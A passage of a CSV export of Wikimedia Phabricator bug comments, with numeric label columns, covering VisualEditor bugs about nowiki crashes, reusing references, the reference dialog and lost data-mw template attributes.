+https://gerrit.wikimedia.org/r/75636",,,1374683103,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+253187,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","Change 75636 had a related patch set uploaded by Jforrester:
+Put <nowiki> edting in experimental for now
+
+https://gerrit.wikimedia.org/r/75636",,,1374682887,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+253183,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","[Sorry, somehow it was created without a description.]
+
+On the latest master I cannot edit a page that has <nowiki> in it. VisualEditor appears to be loading with the ""progress bar"", but doesn't go to actual editing mode.
+
+Versions:
+VisualEditor 393807462e9d04ec5e437cb50ef1d03e5644e9be
+Parsoid be8a7dea49bd70692ef574a1bb7c7a70584d77e3
+core e617dc6c8f2ce1d867ddadcd4bc3de098a84ff07",,,1374661437,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+53689,VisualEditor: Newly-added references need a page save before being reusable,"Apologies if this is a duplicate; I haven't found a report about this.
+
+If you add a new reference with VisualEditor, you can't immediately reuse it with the reference editor; it doesn't show up in the list. You need to save the page and re-open the reference editor for that reference to show.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1374250680,1377889823.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-shna2ollivhvhx6ukpk5,task_description,resolved,True,c1,3,False,False,True,2,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+462236,VisualEditor: Newly-added references need a page save before being reusable,This is still the case for references added inside a table though?,,,1432297031,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,False,,,98,,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+238135,VisualEditor: Newly-added references need a page save before being reusable,"Change 81964 merged by jenkins-bot:
+Re-build reference search index so they can be used mid-edit
+
+https://gerrit.wikimedia.org/r/81964",,,1377889950,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+238133,VisualEditor: Newly-added references need a page save before being reusable,Now fixed in master and will be deployed next week.,,,1377889823,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+238131,VisualEditor: Newly-added references need a page save before being reusable,"Change 81964 had a related patch set uploaded by Trevor Parscal:
+Bug 52000 - Reusing new reference groups
+
+https://gerrit.wikimedia.org/r/81964",,,1377885677,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+238127,VisualEditor: Newly-added references need a page save before being reusable,"So bug reports are taking 2 weeks to be assessed and assigned? That sounds like bad news. Glad to see it's now ""highest"", thanks.  I'm amazed it took so long to be reported as a bug, and suspect it's because the experience of adding refs has been so dreadful that people haven't picked up on this specific aspect to report as a distinctive bug. Good luck.",,,1375427074,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,1,0,1,0,1,0
+238122,VisualEditor: Newly-added references need a page save before being reusable,"(In reply to comment #2)
+> I can think of possible two reasons why this bug has not been given high
+> priority:
+
+You forgot option 3: We hadn't got to this bug report yet (aka, ""AGF""). :-)
+
+Now marked appropriately.",,,1375406536,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+238120,VisualEditor: Newly-added references need a page save before being reusable,"I can think of possible two reasons why this bug has not been given high priority:
+
+(1) Those unfamiliar with creating or substantially expanding Wikipedia articles don't think that this is a big deal. They are wrong - it IS a big deal. Not been able to cite the same source two or more times in an article, which is exceptionally common, causes all the problems noted by Pam, above.
+
+or (2) VE's fundamental architecture prevents it from adding footnotes created during an editing session to the list of footnotes that existed prior to that session, and if this were listed as a high-priority bug, that design mistake might be much more obvious.
+
+I really, really hope that the answer is not (2), because if so, that's a deal-breaker. The lack of such functionality is certainly, in and of itself, reason to NOW recommend that anyone writing a new article *not* do so in VE. (And, no, it's not acceptable to do everything but the footnotes in VE, then do footnotes with the wikitext editor - users absolutely should be footnoting their text additions with citations, *as they go along*, if only for efficiency.)",,,1375398952,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,False,,,4,,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+238115,VisualEditor: Newly-added references need a page save before being reusable,"I'd urge this to be a higher priority: how do we expect people to create good new articles, even a well-cited stub, if they can't use the same reference for more than one point? They get offered a ""reuse a reference"" button, but it doesn't work: seriously bad news. The confused editor then has several choices: (a) don't give the extra reference(s) they think are appropriate, dumbing down the article; (b) re-input the reference each time they want to use it; (c) stop editing in VE and go into Edit Source (if they're lucky enough to be an established editor who knows about it and has learned how to use it ... not for newbies according to current ideas); (d) curse and swear and givve up trying to create their article and probably abandon editing Wikipedia altogether.",,,1375346304,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,False,,,4,,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+53152,VisualEditor: Refactor references dialog to allow immediate insertion of reference content,"Currently, the ""insert reference"" dialog is a bit confusing and buggy, and it takes two or more steps to actually type the content of a reference (most common case).
+
+We should initialize the dialog with a micro-VE surface that immediately enables the user to type reference content. The selection of an existing reference can be pushed down into a separate section or tab.
+
+(Per discussion w/ James)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1373508480,1374646985.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-j5pmqk7nfjpk76iccyaa,task_description,resolved,True,c1,3,False,False,True,1,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0
+231609,VisualEditor: Refactor references dialog to allow immediate insertion of reference content,This was done and deployed last week.,,,1374646985,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j5pmqk7nfjpk76iccyaa,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+231603,VisualEditor: Refactor references dialog to allow immediate insertion of reference content,"Change 74191 merged by jenkins-bot:
+Reference dialog commingling
+
+https://gerrit.wikimedia.org/r/74191",,,1374183566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-j5pmqk7nfjpk76iccyaa,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+231598,VisualEditor: Refactor references dialog to allow immediate insertion of reference content,"Change 74191 had a related patch set uploaded by Jforrester:
+Reference dialog commingling
+
+https://gerrit.wikimedia.org/r/74191",,,1374182076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-j5pmqk7nfjpk76iccyaa,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+231594,VisualEditor: Refactor references dialog to allow immediate insertion of reference content,"Change 74191 had a related patch set uploaded by Trevor Parscal:
+Reference dialog commingling
+
+https://gerrit.wikimedia.org/r/74191",,,1374090269,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-j5pmqk7nfjpk76iccyaa,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+231591,VisualEditor: Refactor references dialog to allow immediate insertion of reference content,"James and I agreed to make this a ""stretch blocker"" for the IP release. (That means it's a blocker for now, unless other issues around content corruption or the basic edit surfacing operation become more critical.) The reason is that citations are such a crucial part of the new editing experience that we'd really like to make some basic improvements to the dialog ASAP, ahead of additional refactoring work around supporting citation templates etc.",,,1373510033,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-j5pmqk7nfjpk76iccyaa,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+53150,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"data-mw.i seems to be dropped on edit in latest VE, which causes a loss of round-trip information for spaces etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1373505480,1374636985.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_description,resolved,True,c1,3,True,False,True,1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1
+343127,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Change 180240 merged by jenkins-bot:
+Remove workaround for Visual Editor bug (T53150).
+
+[[https://gerrit.wikimedia.org/r/180240]]",,,1418771598,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,76,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+343046,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Change 180240 had a related patch set uploaded (by Cscott):
+Remove workaround for Visual Editor bug (T53150).
+
+[[https://gerrit.wikimedia.org/r/180240]]
+
+#patch-for-review",,,1418759614,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,76,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+231507,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"We've not seen this recur; it was probably caused by mis-cached code. Closing, but please re-open if it does happen again.",,,1374636985,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+231502,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"**wicke** wrote:
+
+%%%*** Bug 51175 has been marked as a duplicate of this bug. ***%%%",,,1374270889,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+231496,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"(In reply to comment #16)
+> (In reply to comment #15)
+> > I'm assuming that this is not yet deployed, as a new report was added to
+> > 51161:
+> > 
+> It is deployed.
+> 
+> > Normally this single-transclusion content should be covered by the Parsoid
+> > workaround. Did anything change in the VE handling recently that could have
+> > re-added the ""i"" property with a faulty value?
+> That sounds unlikely. When the user adds a new parameter, that parameter
+> won't
+> have an i value, but that seems reasonable to me.
+
+That infobox already existed. The 'i' property is per transclusion, not per parameter.",,,1373928857,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,2,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+231489,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"(In reply to comment #15)
+> I'm assuming that this is not yet deployed, as a new report was added to
+> 51161:
+> 
+It is deployed.
+
+> Normally this single-transclusion content should be covered by the Parsoid
+> workaround. Did anything change in the VE handling recently that could have
+> re-added the ""i"" property with a faulty value?
+That sounds unlikely. When the user adds a new parameter, that parameter won't have an i value, but that seems reasonable to me.
+
+I'll try to reproduce this later and see what's being sent back to Parsoid.",,,1373927744,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,2,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+231485,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"I'm assuming that this is not yet deployed, as a new report was added to 51161:
+
+---------------------------------------------------
+This is what happened:
+http://en.wikipedia.org/w/index.php?title=Scarborough_railway_station&diff=next&oldid=557856562
+
+This is what the user intended:
+http://en.wikipedia.org/w/index.php?title=Scarborough_railway_station&diff=564074475&oldid=557856562
+
+If removal of newlines really is necessary, please insert a space instead. If
+that is not possible, please remove the spaces from both sides of each equals.
+An arrangement like 
+
+|name = Scarborough|symbol = rail|code = SCA|image_name =
+ScarboroughRailwayStation.jpg|caption = The entrance to the station
+
+gives the impression of associating a parameter name with the value immediately
+preceding. An arrangement like
+
+|name=Scarborough |symbol=rail |code=SCA
+|image_name=ScarboroughRailwayStation.jpg |caption=The entrance to the station
+
+would associate a parameter name with the value immediately following.
+-------------------------------------------------
+
+
+Normally this single-transclusion content should be covered by the Parsoid workaround. Did anything change in the VE handling recently that could have re-added the ""i"" property with a faulty value?",,,1373756996,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+231479,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,*** Bug 51161 has been marked as a duplicate of this bug. ***,,,1373756843,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+231473,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Change 73372 merged by jenkins-bot:
+Preserve unused Parsoid template properties
+
+https://gerrit.wikimedia.org/r/73372",,,1373590110,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+231467,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Change 73372 had a related patch set uploaded by Catrope:
+Preserve unused Parsoid template properties
+
+https://gerrit.wikimedia.org/r/73372",,,1373590022,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+231460,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"The Parsoid workaround above is now deployed. If the index went missing in VE, it assumes that a single-transclusion target was not swapped out and reinserts the lost index in that case. This should avoid corruptions in the common single-template case.
+
+It will do nothing for multi-transclusion content (table start / row etc), and will also fail if the template was swapped out for another one. The latter case should be rare.",,,1373561945,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+231453,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Change 73187 merged by jenkins-bot:
+Workaround for VE bug 51150
+
+https://gerrit.wikimedia.org/r/73187",,,1373561592,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+231446,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Change 73187 had a related patch set uploaded by GWicke:
+Workaround for VE bug 51150
+
+https://gerrit.wikimedia.org/r/73187",,,1373561010,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+231438,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Example on http://www.mediawiki.org/wiki/User:GWicke/TestDataMW?veaction=edit:
+
+Original data-mw:
+data-mw='{""target"":{""wt"":""echo"",""href"":""../Template:Echo""},""params"":{""1"":{""wt"":""foo""}},""i"":0}'
+
+data-mw through VE without edit:
+data-mw=""{&quot;target&quot;:{&quot;wt&quot;:&quot;echo&quot;,&quot;href&quot;:&quot;../Template:Echo&quot;},&quot;params&quot;:{&quot;1&quot;:{&quot;wt&quot;:&quot;foo&quot;}},&quot;i&quot;:0}""
+
+data-mw through VE after changing 'foo' to 'bar':
+data-mw=""{&quot;target&quot;:{&quot;wt&quot;:&quot;echo&quot;,&quot;href&quot;:&quot;../Template:Echo&quot;},&quot;params&quot;:{&quot;1&quot;:{&quot;wt&quot;:&quot;bar&quot;}}}""
+
+Note that the ""i"" member is gone.",,,1373555079,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+231433,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,Aha. Gotcha.,,,1373554659,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+231428,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"(In reply to comment #4)
+> https://en.wikipedia.org/w/index.php?title=Christchurch,
+> _Dorset&diff=prev&oldid=563716751
+> appears to be a pre-deployment occurrence.
+
